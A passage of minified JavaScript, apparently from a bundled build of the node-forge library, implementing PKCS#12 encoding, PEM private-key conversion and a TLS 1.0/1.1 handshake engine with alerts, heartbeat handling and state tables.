tvY(A){var K={};if(A!==void 0)for(var q=0;q<A.length;++q){var Y={},z=[];if(!L1.validate(A[q],nvY,Y,z)){var w=Error("Cannot read PKCS#12 BagAttribute.");throw w.errors=z,w}var H=L1.derToOid(Y.oid);if(F9.oids[H]===void 0)continue;K[F9.oids[H]]=[];for(var J=0;J<Y.values.length;++J)K[F9.oids[H]].push(Y.values[J].value)}return K}TBA.toPkcs12Asn1=function(A,K,q,Y){if(Y=Y||{},Y.saltSize=Y.saltSize||8,Y.count=Y.count||2048,Y.algorithm=Y.algorithm||Y.encAlgorithm||"aes128",!("useMac"in Y))Y.useMac=!0;if(!("localKeyId"in Y))Y.localKeyId=null;if(!("generateLocalKeyId"in Y))Y.generateLocalKeyId=!0;var z=Y.localKeyId,w;if(z!==null)z=OH.util.hexToBytes(z);else if(Y.generateLocalKeyId)if(K){var H=OH.util.isArray(K)?K[0]:K;if(typeof H==="string")H=F9.certificateFromPem(H);var J=OH.md.sha1.create();J.update(L1.toDer(F9.certificateToAsn1(H)).getBytes()),z=J.digest().getBytes()}else z=OH.random.getBytes(20);var O=[];if(z!==null)O.push(L1.create(L1.Class.UNIVERSAL,L1.Type.SEQUENCE,!0,[L1.create(L1.Class.UNIVERSAL,L1.Type.OID,!1,L1.oidToDer(F9.oids.localKeyId).getBytes()),L1.create(L1.Class.UNIVERSAL,L1.Type.SET,!0,[L1.create(L1.Class.UNIVERSAL,L1.Type.OCTETSTRING,!1,z)])]));if("friendlyName"in Y)O.push(L1.create(L1.Class.UNIVERSAL,L1.Type.SEQUENCE,!0,[L1.create(L1.Class.UNIVERSAL,L1.Type.OID,!1,L1.oidToDer(F9.oids.friendlyName).getBytes()),L1.create(L1.Class.UNIVERSAL,L1.Type.SET,!0,[L1.create(L1.Class.UNIVERSAL,L1.Type.BMPSTRING,!1,Y.friendlyName)])]));if(O.length>0)w=L1.create(L1.Class.UNIVERSAL,L1.Type.SET,!0,O);var X=[],$=[];if(K!==null)if(OH.util.isArray(K))$=K;else $=[K];var _=[];for(var G=0;G<$.length;++G){if(K=$[G],typeof K==="string")K=F9.certificateFromPem(K);var Z=G===0?w:void 0,W=F9.certificateToAsn1(K),D=L1.create(L1.Class.UNIVERSAL,L1.Type.SEQUENCE,!0,[L1.create(L1.Class.UNIVERSAL,L1.Type.OID,!1,L1.oidToDer(F9.oids.certBag).getBytes()),L1.create(L1.Class.CONTEXT_SPECIFIC,0,!0,[L1.create(L1.Class.UNIVERSAL,L1.Type.SEQUENCE,!0,[L1.create(L1.Class.UNIVERSAL,L1.Type.OID,!1,L1.oidToDer(F9.oids.x509Certificate).getBytes()),L1.create(L1.Class.CONTEXT_SPECIFIC,0,!0,[L1.create(L1.Class.UNIVERSAL,L1.Type.OCTETSTRING,!1,L1.toDer(W).getBytes())])])]),Z]);_.push(D)}if(_.length>0){var j=L1.create(L1.Class.UNIVERSAL,L1.Type.SEQUENCE,!0,_),M=L1.create(L1.Class.UNIVERSAL,L1.Type.SEQUENCE,!0,[L1.create(L1.Class.UNIVERSAL,L1.Type.OID,!1,L1.oidToDer(F9.oids.data).getBytes()),L1.create(L1.Class.CONTEXT_SPECIFIC,0,!0,[L1.create(L1.Class.UNIVERSAL,L1.Type.OCTETSTRING,!1,L1.toDer(j).getBytes())])]);X.push(M)}var P=null;if(A!==null){var f=F9.wrapRsaPrivateKey(F9.privateKeyToAsn1(A));if(q===null)P=L1.create(L1.Class.UNIVERSAL,L1.Type.SEQUENCE,!0,[L1.create(L1.Class.UNIVERSAL,L1.Type.OID,!1,L1.oidToDer(F9.oids.keyBag).getBytes()),L1.create(L1.Class.CONTEXT_SPECIFIC,0,!0,[f]),w]);else P=L1.create(L1.Class.UNIVERSAL,L1.Type.SEQUENCE,!0,[L1.create(L1.Class.UNIVERSAL,L1.Type.OID,!1,L1.oidToDer(F9.oids.pkcs8ShroudedKeyBag).getBytes()),L1.create(L1.Class.CONTEXT_SPECIFIC,0,!0,[F9.encryptPrivateKeyInfo(f,q,Y)]),w]);var N=L1.create(L1.Class.UNIVERSAL,L1.Type.SEQUENCE,!0,[P]),T=L1.create(L1.Class.UNIVERSAL,L1.Type.SEQUENCE,!0,[L1.create(L1.Class.UNIVERSAL,L1.Type.OID,!1,L1.oidToDer(F9.oids.data).getBytes()),L1.create(L1.Class.CONTEXT_SPECIFIC,0,!0,[L1.create(L1.Class.UNIVERSAL,L1.Type.OCTETSTRING,!1,L1.toDer(N).getBytes())])]);X.push(T)}var C=L1.create(L1.Class.UNIVERSAL,L1.Type.SEQUENCE,!0,X),R;if(Y.useMac){var J=OH.md.sha1.create(),x=new OH.util.ByteBuffer(OH.random.getBytes(Y.saltSize)),y=Y.count,A=TBA.generateKey(q,x,3,y,20),B=OH.hmac.create();B.start(J,A),B.update(L1.toDer(C).getBytes());var b=B.getMac();R=L1.create(L1.Class.UNIVERSAL,L1.Type.SEQUENCE,!0,[L1.create(L1.Class.UNIVERSAL,L1.Type.SEQUENCE,!0,[L1.create(L1.Class.UNIVERSAL,L1.Type.SEQUENCE,!0,[L1.create(L1.Class.UNIVERSAL,L1.Type.OID,!1,L1.oidToDer(F9.oids.sha1).getBytes()),L1.create(L1.Class.UNIVERSAL,L1.Type.NULL,!1,"")]),L1.create(L1.Class.UNIVERSAL,L1.Type.OCTETSTRING,!1,b.getBytes())]),L1.create(L1.Class.UNIVERSAL,L1.Type.OCTETSTRING,!1,x.getBytes()),L1.create(L1.Class.UNIVERSAL,L1.Type.INTEGER,!1,L1.integerToDer(y).getBytes())])}return L1.create(L1.Class.UNIVERSAL,L1.Type.SEQUENCE,!0,[L1.create(L1.Class.UNIVERSAL,L1.Type.INTEGER,!1,L1.integerToDer(3).getBytes()),L1.create(L1.Class.UNIVERSAL,L1.Type.SEQUENCE,!0,[L1.create(L1.Class.UNIVERSAL,L1.Type.OID,!1,L1.oidToDer(F9.oids.data).getBytes()),L1.create(L1.Class.CONTEXT_SPECIFIC,0,!0,[L1.create(L1.Class.UNIVERSAL,L1.Type.OCTETSTRING,!1,L1.toDer(C).getBytes())])]),R])};TBA.generateKey=OH.pbe.generatePkcs12Key});var Gj6=v((h4H,VG7)=>{var ma=m3();xI();ba();wj6();vqA();rX1();$j6();K$1();fBA();bY();z$1();var _j6=ma.asn1,uZA=VG7.exports=ma.pki=ma.pki||{};uZA.pemToDer=function(A){var K=ma.pem.decode(A)[0];if(K.procType&&K.procType.type==="ENCRYPTED")throw Error("Could not convert PEM to DER; PEM is encrypted.");return ma.util.createBuffer(K.body)};uZA.privateKeyFromPem=function(A){var K=ma.pem.decode(A)[0];if(K.type!=="PRIVATE KEY"&&K.type!=="RSA PRIVATE KEY"){var q=Error('Could not convert private key from PEM; PEM header type is not "PRIVATE KEY" or "RSA PRIVATE KEY".');throw q.headerType=K.type,q}if(K.procType&&K.procType.type==="ENCRYPTED")throw Error("Could not convert private key from PEM; PEM is encrypted.");var Y=_j6.fromDer(K.body);return uZA.privateKeyFromAsn1(Y)};uZA.privateKeyToPem=function(A,K){var q={type:"RSA PRIVATE KEY",body:_j6.toDer(uZA.privateKeyToAsn1(A)).getBytes()};return ma.pem.encode(q,{maxline:K})};uZA.privateKeyInfoToPem=function(A,K){var q={type:"PRIVATE KEY",body:_j6.toDer(A).getBytes()};return ma.pem.encode(q,{maxline:K})}});var Pj6=v((b4H,LG7)=>{var R8=m3();xI();LZA();cX1();vqA();Gj6();uC();SZA();bY();var J$1=function(A,K,q,Y){var z=R8.util.createBuffer(),w=A.length>>1,H=w+(A.length&1),J=A.substr(0,H),O=A.substr(w,H),X=R8.util.createBuffer(),$=R8.hmac.create();q=K+q;var _=Math.ceil(Y/16),G=Math.ceil(Y/20);$.start("MD5",J);var Z=R8.util.createBuffer();X.putBytes(q);for(var W=0;W<_;++W)$.start(null,null),$.update(X.getBytes()),X.putBuffer($.digest()),$.start(null,null),$.update(X.bytes()+q),Z.putBuffer($.digest());$.start("SHA1",O);var D=R8.util.createBuffer();X.clear(),X.putBytes(q);for(var W=0;W<G;++W)$.start(null,null),$.update(X.getBytes()),X.putBuffer($.digest()),$.start(null,null),$.update(X.bytes()+q),D.putBuffer($.digest());return z.putBytes(R8.util.xorBytes(Z.getBytes(),D.getBytes(),Y)),z},evY=function(A,K,q){var Y=R8.hmac.create();Y.start("SHA1",A);var z=R8.util.createBuffer();return z.putInt32(K[0]),z.putInt32(K[1]),z.putByte(q.type),z.putByte(q.version.major),z.putByte(q.version.minor),z.putInt16(q.length),z.putBytes(q.fragment.bytes()),Y.update(z.getBytes()),Y.digest().getBytes()},AEY=function(A,K,q){var Y=!1;try{var z=A.deflate(K.fragment.getBytes());K.fragment=R8.util.createBuffer(z),K.length=z.length,Y=!0}catch(w){}return Y},KEY=function(A,K,q){var Y=!1;try{var z=A.inflate(K.fragment.getBytes());K.fragment=R8.util.createBuffer(z),K.length=z.length,Y=!0}catch(w){}return Y},rT=function(A,K){var q=0;switch(K){case 1:q=A.getByte();break;case 2:q=A.getInt16();break;case 3:q=A.getInt24();break;case 4:q=A.getInt32();break}return R8.util.createBuffer(A.getBytes(q))},FC=function(A,K,q){A.putInt(q.length(),K<<3),A.putBuffer(q)},A1={};A1.Versions={TLS_1_0:{major:3,minor:1},TLS_1_1:{major:3,minor:2},TLS_1_2:{major:3,minor:3}};A1.SupportedVersions=[A1.Versions.TLS_1_1,A1.Versions.TLS_1_0];A1.Version=A1.SupportedVersions[0];A1.MaxFragment=15360;A1.ConnectionEnd={server:0,client:1};A1.PRFAlgorithm={tls_prf_sha256:0};A1.BulkCipherAlgorithm={none:null,rc4:0,des3:1,aes:2};A1.CipherType={stream:0,block:1,aead:2};A1.MACAlgorithm={none:null,hmac_md5:0,hmac_sha1:1,hmac_sha256:2,hmac_sha384:3,hmac_sha512:4};A1.CompressionMethod={none:0,deflate:1};A1.ContentType={change_cipher_spec:20,alert:21,handshake:22,application_data:23,heartbeat:24};A1.HandshakeType={hello_request:0,client_hello:1,server_hello:2,certificate:11,server_key_exchange:12,certificate_request:13,server_hello_done:14,certificate_verify:15,client_key_exchange:16,finished:20};A1.Alert={};A1.Alert.Level={warning:1,fatal:2};A1.Alert.Description={close_notify:0,unexpected_message:10,bad_record_mac:20,decryption_failed:21,record_overflow:22,decompression_failure:30,handshake_failure:40,bad_certificate:42,unsupported_certificate:43,certificate_revoked:44,certificate_expired:45,certificate_unknown:46,illegal_parameter:47,unknown_ca:48,access_denied:49,decode_error:50,decrypt_error:51,export_restriction:60,protocol_version:70,insufficient_security:71,internal_error:80,user_canceled:90,no_renegotiation:100};A1.HeartbeatMessageType={heartbeat_request:1,heartbeat_response:2};A1.CipherSuites={};A1.getCipherSuite=function(A){var K=null;for(var q in A1.CipherSuites){var Y=A1.CipherSuites[q];if(Y.id[0]===A.charCodeAt(0)&&Y.id[1]===A.charCodeAt(1)){K=Y;break}}return K};A1.handleUnexpected=function(A,K){var q=!A.open&&A.entity===A1.ConnectionEnd.client;if(!q)A.error(A,{message:"Unexpected message. Received TLS record out of order.",send:!0,alert:{level:A1.Alert.Level.fatal,description:A1.Alert.Description.unexpected_message}})};A1.handleHelloRequest=function(A,K,q){if(!A.handshaking&&A.handshakes>0)A1.queue(A,A1.createAlert(A,{level:A1.Alert.Level.warning,description:A1.Alert.Description.no_renegotiation})),A1.flush(A);A.process()};A1.parseHelloMessage=function(A,K,q){var Y=null,z=A.entity===A1.ConnectionEnd.client;if(q<38)A.error(A,{message:z?"Invalid ServerHello message. Message too short.":"Invalid ClientHello message. Message too short.",send:!0,alert:{level:A1.Alert.Level.fatal,description:A1.Alert.Description.illegal_parameter}});else{var w=K.fragment,H=w.length();if(Y={version:{major:w.getByte(),minor:w.getByte()},random:R8.util.createBuffer(w.getBytes(32)),session_id:rT(w,1),extensions:[]},z)Y.cipher_suite=w.getBytes(2),Y.compression_method=w.getByte();else Y.cipher_suites=rT(w,2),Y.compression_methods=rT(w,1);if(H=q-(H-w.length()),H>0){var J=rT(w,2);while(J.length()>0)Y.extensions.push({type:[J.getByte(),J.getByte()],data:rT(J,2)});if(!z)for(var O=0;O<Y.extensions.length;++O){var X=Y.extensions[O];if(X.type[0]===0&&X.type[1]===0){var $=rT(X.data,2);while($.length()>0){var _=$.getByte();if(_!==0)break;A.session.extensions.server_name.serverNameList.push(rT($,2).getBytes())}}}}if(A.session.version){if(Y.version.major!==A.session.version.major||Y.version.minor!==A.session.version.minor)return A.error(A,{message:"TLS version change is disallowed during renegotiation.",send:!0,alert:{level:A1.Alert.Level.fatal,description:A1.Alert.Description.protocol_version}})}if(z)A.session.cipherSuite=A1.getCipherSuite(Y.cipher_suite);else{var G=R8.util.createBuffer(Y.cipher_suites.bytes());while(G.length()>0)if(A.session.cipherSuite=A1.getCipherSuite(G.getBytes(2)),A.session.cipherSuite!==null)break}if(A.session.cipherSuite===null)return A.error(A,{message:"No cipher suites in common.",send:!0,alert:{level:A1.Alert.Level.fatal,description:A1.Alert.Description.handshake_failure},cipherSuite:R8.util.bytesToHex(Y.cipher_suite)});if(z)A.session.compressionMethod=Y.compression_method;else A.session.compressionMethod=A1.CompressionMethod.none}return Y};A1.createSecurityParameters=function(A,K){var q=A.entity===A1.ConnectionEnd.client,Y=K.random.bytes(),z=q?A.session.sp.client_random:Y,w=q?Y:A1.createRandom().getBytes();A.session.sp={entity:A.entity,prf_algorithm:A1.PRFAlgorithm.tls_prf_sha256,bulk_cipher_algorithm:null,cipher_type:null,enc_key_length:null,block_length:null,fixed_iv_length:null,record_iv_length:null,mac_algorithm:null,mac_length:null,mac_key_length:null,compression_algorithm:A.session.compressionMethod,pre_master_secret:null,master_secret:null,client_random:z,server_random:w}};A1.handleServerHello=function(A,K,q){var Y=A1.parseHelloMessage(A,K,q);if(A.fail)return;if(Y.version.minor<=A.version.minor)A.version.minor=Y.version.minor;else return A.error(A,{message:"Incompatible TLS version.",send:!0,alert:{level:A1.Alert.Level.fatal,description:A1.Alert.Description.protocol_version}});A.session.version=A.version;var z=Y.session_id.bytes();if(z.length>0&&z===A.session.id)A.expect=TG7,A.session.resuming=!0,A.session.sp.server_random=Y.random.bytes();else A.expect=YEY,A.session.resuming=!1,A1.createSecurityParameters(A,Y);A.session.id=z,A.process()};A1.handleClientHello=function(A,K,q){var Y=A1.parseHelloMessage(A,K,q);if(A.fail)return;var z=Y.session_id.bytes(),w=null;if(A.sessionCache){if(w=A.sessionCache.getSession(z),w===null)z="";else if(w.version.major!==Y.version.major||w.version.minor>Y.version.minor)w=null,z=""}if(z.length===0)z=R8.random.getBytes(32);if(A.session.id=z,A.session.clientHelloVersion=Y.version,A.session.sp={},w)A.version=A.session.version=w.version,A.session.sp=w.sp;else{var H;for(var J=1;J<A1.SupportedVersions.length;++J)if(H=A1.SupportedVersions[J],H.minor<=Y.version.minor)break;A.version={major:H.major,minor:H.minor},A.session.version=A.version}if(w!==null)A.expect=jj6,A.session.resuming=!0,A.session.sp.client_random=Y.random.bytes();else A.expect=A.verifyClient!==!1?$EY:Dj6,A.session.resuming=!1,A1.createSecurityParameters(A,Y);if(A.open=!0,A1.queue(A,A1.createRecord(A,{type:A1.ContentType.handshake,data:A1.createServerHello(A)})),A.session.resuming)A1.queue(A,A1.createRecord(A,{type:A1.ContentType.change_cipher_spec,data:A1.createChangeCipherSpec()})),A.state.pending=A1.createConnectionState(A),A.state.current.write=A.state.pending.write,A1.queue(A,A1.createRecord(A,{type:A1.ContentType.handshake,data:A1.createFinished(A)}));else if(A1.queue(A,A1.createRecord(A,{type:A1.ContentType.handshake,data:A1.createCertificate(A)})),!A.fail){if(A1.queue(A,A1.createRecord(A,{type:A1.ContentType.handshake,data:A1.createServerKeyExchange(A)})),A.verifyClient!==!1)A1.queue(A,A1.createRecord(A,{type:A1.ContentType.handshake,data:A1.createCertificateRequest(A)}));A1.queue(A,A1.createRecord(A,{type:A1.ContentType.handshake,data:A1.createServerHelloDone(A)}))}A1.flush(A),A.process()};A1.handleCertificate=function(A,K,q){if(q<3)return A.error(A,{message:"Invalid Certificate message. Message too short.",send:!0,alert:{level:A1.Alert.Level.fatal,description:A1.Alert.Description.illegal_parameter}});var Y=K.fragment,z={certificate_list:rT(Y,3)},w,H,J=[];try{while(z.certificate_list.length()>0)w=rT(z.certificate_list,3),H=R8.asn1.fromDer(w),w=R8.pki.certificateFromAsn1(H,!0),J.push(w)}catch(X){return A.error(A,{message:"Could not parse certificate list.",cause:X,send:!0,alert:{level:A1.Alert.Level.fatal,description:A1.Alert.Description.bad_certificate}})}var O=A.entity===A1.ConnectionEnd.client;if((O||A.verifyClient===!0)&&J.length===0)A.error(A,{message:O?"No server certificate provided.":"No client certificate provided.",send:!0,alert:{level:A1.Alert.Level.fatal,description:A1.Alert.Description.illegal_parameter}});else if(J.length===0)A.expect=O?fG7:Dj6;else{if(O)A.session.serverCertificate=J[0];else A.session.clientCertificate=J[0];if(A1.verifyCertificateChain(A,J))A.expect=O?fG7:Dj6}A.process()};A1.handleServerKeyExchange=function(A,K,q){if(q>0)return A.error(A,{message:"Invalid key parameters. Only RSA is supported.",send:!0,alert:{level:A1.Alert.Level.fatal,description:A1.Alert.Description.unsupported_certificate}});A.expect=zEY,A.process()};A1.handleClientKeyExchange=function(A,K,q){if(q<48)return A.error(A,{message:"Invalid key parameters. Only RSA is supported.",send:!0,alert:{level:A1.Alert.Level.fatal,description:A1.Alert.Description.unsupported_certificate}});var Y=K.fragment,z={enc_pre_master_secret:rT(Y,2).getBytes()},w=null;if(A.getPrivateKey)try{w=A.getPrivateKey(A,A.session.serverCertificate),w=R8.pki.privateKeyFromPem(w)}catch(O){A.error(A,{message:"Could not get private key.",cause:O,send:!0,alert:{level:A1.Alert.Level.fatal,description:A1.Alert.Description.internal_error}})}if(w===null)return A.error(A,{message:"No private key set.",send:!0,alert:{level:A1.Alert.Level.fatal,description:A1.Alert.Description.internal_error}});try{var H=A.session.sp;H.pre_master_secret=w.decrypt(z.enc_pre_master_secret);var J=A.session.clientHelloVersion;if(J.major!==H.pre_master_secret.charCodeAt(0)||J.minor!==H.pre_master_secret.charCodeAt(1))throw Error("TLS version rollback attack detected.")}catch(O){H.pre_master_secret=R8.random.getBytes(48)}if(A.expect=jj6,A.session.clientCertificate!==null)A.expect=_EY;A.process()};A1.handleCertificateRequest=function(A,K,q){if(q<3)return A.error(A,{message:"Invalid CertificateRequest. Message too short.",send:!0,alert:{level:A1.Alert.Level.fatal,description:A1.Alert.Description.illegal_parameter}});var Y=K.fragment,z={certificate_types:rT(Y,1),certificate_authorities:rT(Y,2)};A.session.certificateRequest=z,A.expect=wEY,A.process()};A1.handleCertificateVerify=function(A,K,q){if(q<2)return A.error(A,{message:"Invalid CertificateVerify. Message too short.",send:!0,alert:{level:A1.Alert.Level.fatal,description:A1.Alert.Description.illegal_parameter}});var Y=K.fragment;Y.read-=4;var z=Y.bytes();Y.read+=4;var w={signature:rT(Y,2).getBytes()},H=R8.util.createBuffer();H.putBuffer(A.session.md5.digest()),H.putBuffer(A.session.sha1.digest()),H=H.getBytes();try{var J=A.session.clientCertificate;if(!J.publicKey.verify(H,w.signature,"NONE"))throw Error("CertificateVerify signature does not match.");A.session.md5.update(z),A.session.sha1.update(z)}catch(O){return A.error(A,{message:"Bad signature in CertificateVerify.",send:!0,alert:{level:A1.Alert.Level.fatal,description:A1.Alert.Description.handshake_failure}})}A.expect=jj6,A.process()};A1.handleServerHelloDone=function(A,K,q){if(q>0)return A.error(A,{message:"Invalid ServerHelloDone message. Invalid length.",send:!0,alert:{level:A1.Alert.Level.fatal,description:A1.Alert.Description.record_overflow}});if(A.serverCertificate===null){var Y={message:"No server certificate provided. Not enough security.",send:!0,alert:{level:A1.Alert.Level.fatal,description:A1.Alert.Description.insufficient_security}},z=0,w=A.verify(A,Y.alert.description,z,[]);if(w!==!0){if(w||w===0){if(typeof w==="object"&&!R8.util.isArray(w)){if(w.message)Y.message=w.message;if(w.alert)Y.alert.description=w.alert}else if(typeof w==="number")Y.alert.description=w}return A.error(A,Y)}}if(A.session.certificateRequest!==null)K=A1.createRecord(A,{type:A1.ContentType.handshake,data:A1.createCertificate(A)}),A1.queue(A,K);K=A1.createRecord(A,{type:A1.ContentType.handshake,data:A1.createClientKeyExchange(A)}),A1.queue(A,K),A.expect=OEY;var H=function(J,O){if(J.session.certificateRequest!==null&&J.session.clientCertificate!==null)A1.queue(J,A1.createRecord(J,{type:A1.ContentType.handshake,data:A1.createCertificateVerify(J,O)}));A1.queue(J,A1.createRecord(J,{type:A1.ContentType.change_cipher_spec,data:A1.createChangeCipherSpec()})),J.state.pending=A1.createConnectionState(J),J.state.current.write=J.state.pending.write,A1.queue(J,A1.createRecord(J,{type:A1.ContentType.handshake,data:A1.createFinished(J)})),J.expect=TG7,A1.flush(J),J.process()};if(A.session.certificateRequest===null||A.session.clientCertificate===null)return H(A,null);A1.getClientSignature(A,H)};A1.handleChangeCipherSpec=function(A,K){if(K.fragment.getByte()!==1)return A.error(A,{message:"Invalid ChangeCipherSpec message received.",send:!0,alert:{level:A1.Alert.Level.fatal,description:A1.Alert.Description.illegal_parameter}});var q=A.entity===A1.ConnectionEnd.client;if(A.session.resuming&&q||!A.session.resuming&&!q)A.state.pending=A1.createConnectionState(A);if(A.state.current.read=A.state.pending.read,!A.session.resuming&&q||A.session.resuming&&!q)A.state.pending=null;A.expect=q?HEY:GEY,A.process()};A1.handleFinished=function(A,K,q){var Y=K.fragment;Y.read-=4;var z=Y.bytes();Y.read+=4;var w=K.fragment.getBytes();Y=R8.util.createBuffer(),Y.putBuffer(A.session.md5.digest()),Y.putBuffer(A.session.sha1.digest());var H=A.entity===A1.ConnectionEnd.client,J=H?"server finished":"client finished",O=A.session.sp,X=12,$=J$1;if(Y=$(O.master_secret,J,Y.getBytes(),X),Y.getBytes()!==w)return A.error(A,{message:"Invalid verify_data in Finished message.",send:!0,alert:{level:A1.Alert.Level.fatal,description:A1.Alert.Description.decrypt_error}});if(A.session.md5.update(z),A.session.sha1.update(z),A.session.resuming&&H||!A.session.resuming&&!H)A1.queue(A,A1.createRecord(A,{type:A1.ContentType.change_cipher_spec,data:A1.createChangeCipherSpec()})),A.state.current.write=A.state.pending.write,A.state.pending=null,A1.queue(A,A1.createRecord(A,{type:A1.ContentType.handshake,data:A1.createFinished(A)}));A.expect=H?JEY:ZEY,A.handshaking=!1,++A.handshakes,A.peerCertificate=H?A.session.serverCertificate:A.session.clientCertificate,A1.flush(A),A.isConnected=!0,A.connected(A),A.process()};A1.handleAlert=function(A,K){var q=K.fragment,Y={level:q.getByte(),description:q.getByte()},z;switch(Y.description){case A1.Alert.Description.close_notify:z="Connection closed.";break;case A1.Alert.Description.unexpected_message:z="Unexpected message.";break;case A1.Alert.Description.bad_record_mac:z="Bad record MAC.";break;case A1.Alert.Description.decryption_failed:z="Decryption failed.";break;case A1.Alert.Description.record_overflow:z="Record overflow.";break;case A1.Alert.Description.decompression_failure:z="Decompression failed.";break;case A1.Alert.Description.handshake_failure:z="Handshake failure.";break;case A1.Alert.Description.bad_certificate:z="Bad certificate.";break;case A1.Alert.Description.unsupported_certificate:z="Unsupported certificate.";break;case A1.Alert.Description.certificate_revoked:z="Certificate revoked.";break;case A1.Alert.Description.certificate_expired:z="Certificate expired.";break;case A1.Alert.Description.certificate_unknown:z="Certificate unknown.";break;case A1.Alert.Description.illegal_parameter:z="Illegal parameter.";break;case A1.Alert.Description.unknown_ca:z="Unknown certificate authority.";break;case A1.Alert.Description.access_denied:z="Access denied.";break;case A1.Alert.Description.decode_error:z="Decode error.";break;case A1.Alert.Description.decrypt_error:z="Decrypt error.";break;case A1.Alert.Description.export_restriction:z="Export restriction.";break;case A1.Alert.Description.protocol_version:z="Unsupported protocol version.";break;case A1.Alert.Description.insufficient_security:z="Insufficient security.";break;case A1.Alert.Description.internal_error:z="Internal error.";break;case A1.Alert.Description.user_canceled:z="User canceled.";break;case A1.Alert.Description.no_renegotiation:z="Renegotiation not supported.";break;default:z="Unknown error.";break}if(Y.description===A1.Alert.Description.close_notify)return A.close();A.error(A,{message:z,send:!1,origin:A.entity===A1.ConnectionEnd.client?"server":"client",alert:Y}),A.process()};A1.handleHandshake=function(A,K){var q=K.fragment,Y=q.getByte(),z=q.getInt24();if(z>q.length())return A.fragmented=K,K.fragment=R8.util.createBuffer(),q.read-=4,A.process();A.fragmented=null,q.read-=4;var w=q.bytes(z+4);if(q.read+=4,Y in H$1[A.entity][A.expect]){if(A.entity===A1.ConnectionEnd.server&&!A.open&&!A.fail)A.handshaking=!0,A.session={version:null,extensions:{server_name:{serverNameList:[]}},cipherSuite:null,compressionMethod:null,serverCertificate:null,clientCertificate:null,md5:R8.md.md5.create(),sha1:R8.md.sha1.create()};if(Y!==A1.HandshakeType.hello_request&&Y!==A1.HandshakeType.certificate_verify&&Y!==A1.HandshakeType.finished)A.session.md5.update(w),A.session.sha1.update(w);H$1[A.entity][A.expect][Y](A,K,z)}else A1.handleUnexpected(A,K)};A1.handleApplicationData=function(A,K){A.data.putBuffer(K.fragment),A.dataReady(A),A.process()};A1.handleHeartbeat=function(A,K){var q=K.fragment,Y=q.getByte(),z=q.getInt16(),w=q.getBytes(z);if(Y===A1.HeartbeatMessageType.heartbeat_request){if(A.handshaking||z>w.length)return A.process();A1.queue(A,A1.createRecord(A,{type:A1.ContentType.heartbeat,data:A1.createHeartbeat(A1.HeartbeatMessageType.heartbeat_response,w)})),A1.flush(A)}else if(Y===A1.HeartbeatMessageType.heartbeat_response){if(w!==A.expectedHeartbeatPayload)return A.process();if(A.heartbeatReceived)A.heartbeatReceived(A,R8.util.createBuffer(w))}A.process()};var qEY=0,YEY=1,fG7=2,zEY=3,wEY=4,TG7=5,HEY=6,JEY=7,OEY=8,XEY=0,$EY=1,Dj6=2,_EY=3,jj6=4,GEY=5,ZEY=6,oA=A1.handleUnexpected,vG7=A1.handleChangeCipherSpec,YW=A1.handleAlert,cM=A1.handleHandshake,EG7=A1.handleApplicationData,zW=A1.handleHeartbeat,Mj6=[];Mj6[A1.ConnectionEnd.client]=[[oA,YW,cM,oA,zW],[oA,YW,cM,oA,zW],[oA,YW,cM,oA,zW],[oA,YW,cM,oA,zW],[oA,YW,cM,oA,zW],[vG7,YW,oA,oA,zW],[oA,YW,cM,oA,zW],[oA,YW,cM,EG7,zW],[oA,YW,cM,oA,zW]];Mj6[A1.ConnectionEnd.server]=[[oA,YW,cM,oA,zW],[oA,YW,cM,oA,zW],[oA,YW,cM,oA,zW],[oA,YW,cM,oA,zW],[vG7,YW,oA,oA,zW],[oA,YW,cM,oA,zW],[oA,YW,cM,EG7,zW],[oA,YW,cM,oA,zW]];var{handleHelloRequest:ga,handleServerHello:WEY,handleCertificate:kG7,handleServerKeyExchange:NG7,handleCertificateRequest:Zj6,handleServerHelloDone:w$1,handleFinished:CG7}=A1,H$1=[];H$1[A1.ConnectionEnd.client]=[[oA,oA,WEY,oA,oA,oA,oA,oA,oA,oA,oA,oA,oA,oA,oA,oA,oA,oA,oA,oA,oA],[ga,oA,oA,oA,oA,oA,oA,oA,oA,oA,oA,kG7,NG7,Zj6,w$1,oA,oA,oA,oA,oA,oA],[ga,oA,oA,oA,oA,oA,oA,oA,oA,oA,oA,oA,NG7,Zj6,w$1,oA,oA,oA,oA,oA,oA],[ga,oA,oA,oA,oA,oA,oA,oA,oA,oA,oA,oA,oA,Zj6,w$1,oA,oA,oA,oA,oA,oA],[ga,oA,oA,oA,oA,oA,oA,oA,oA,oA,oA,oA,oA,oA,w$1,oA,oA,oA,oA,oA,oA],[ga,oA,oA,oA,oA,oA,oA,oA,oA,oA,oA,oA,oA,oA,oA,oA,oA,oA,oA,oA,oA],[ga,oA,oA,oA,oA,oA,oA,oA,oA,oA,oA,oA,oA,oA,oA,oA,oA,oA,oA,oA,CG7],[ga,oA,oA,oA,oA,oA,oA,oA,oA,oA,oA,oA,oA,oA,oA,oA,oA,oA,oA,oA,oA],[ga,oA,oA,oA,oA,oA,oA,oA,oA,oA,oA,oA,oA,oA,oA,oA,oA,oA,oA,oA,oA]];var{handleClientHello:DEY,handleClientKeyExchange:jEY,handleCertificateVerify:MEY}=A1;H$1[A1.ConnectionEnd.server]=[[oA,DEY,oA,oA,oA,oA,oA,oA,oA,oA,oA,oA,oA,oA,oA,oA,oA,oA,oA,oA,oA],[oA,oA,oA,oA,oA,oA,oA,oA,oA,oA,oA,kG7,oA,oA,oA,oA,oA,oA,oA,oA,oA],[oA,oA,oA,oA,oA,oA,oA,oA,oA,oA,oA,oA,oA,oA,oA,oA,jEY,oA,oA,oA,oA],[oA,oA,oA,oA,oA,oA,oA,oA,oA,oA,oA,oA,oA,oA,oA,MEY,oA,oA,oA,oA,oA],[oA,oA,oA,oA,oA,oA,oA,oA,oA,oA,oA,oA,oA,oA,oA,oA,oA,oA,oA,oA,oA],[oA,oA,oA,oA,oA,oA,oA,oA,oA,oA,oA,oA,oA,oA,oA,oA,oA,oA,oA,oA,CG7],[oA,oA,oA,oA,oA,oA,oA,oA,oA,oA,oA,oA,oA,oA,oA,oA,oA,oA,oA,oA,oA],[oA,oA,oA,oA,oA,oA,oA,oA,oA,oA,oA,oA,oA,oA,oA,oA,oA,oA,oA,oA,oA]];A1.generateKeys=function(A,K){var q=J$1,Y=K.client_random+K.server_random;if(!A.session.resuming)K.master_secret=q(K.pre_master_secret,"master secret",Y,48).bytes(),K.pre_master_secret=null;Y=K.server_random+K.client_random;var z=2*K.mac_key_length+2*K.enc_key_length,w=A.version.major===A1.Versions.TLS_1_0.major&&A.version.minor===A1.Versions.TLS_1_0.minor;if(w)z+=2*K.fixed_iv_length;var H=q(K.master_secret,"key 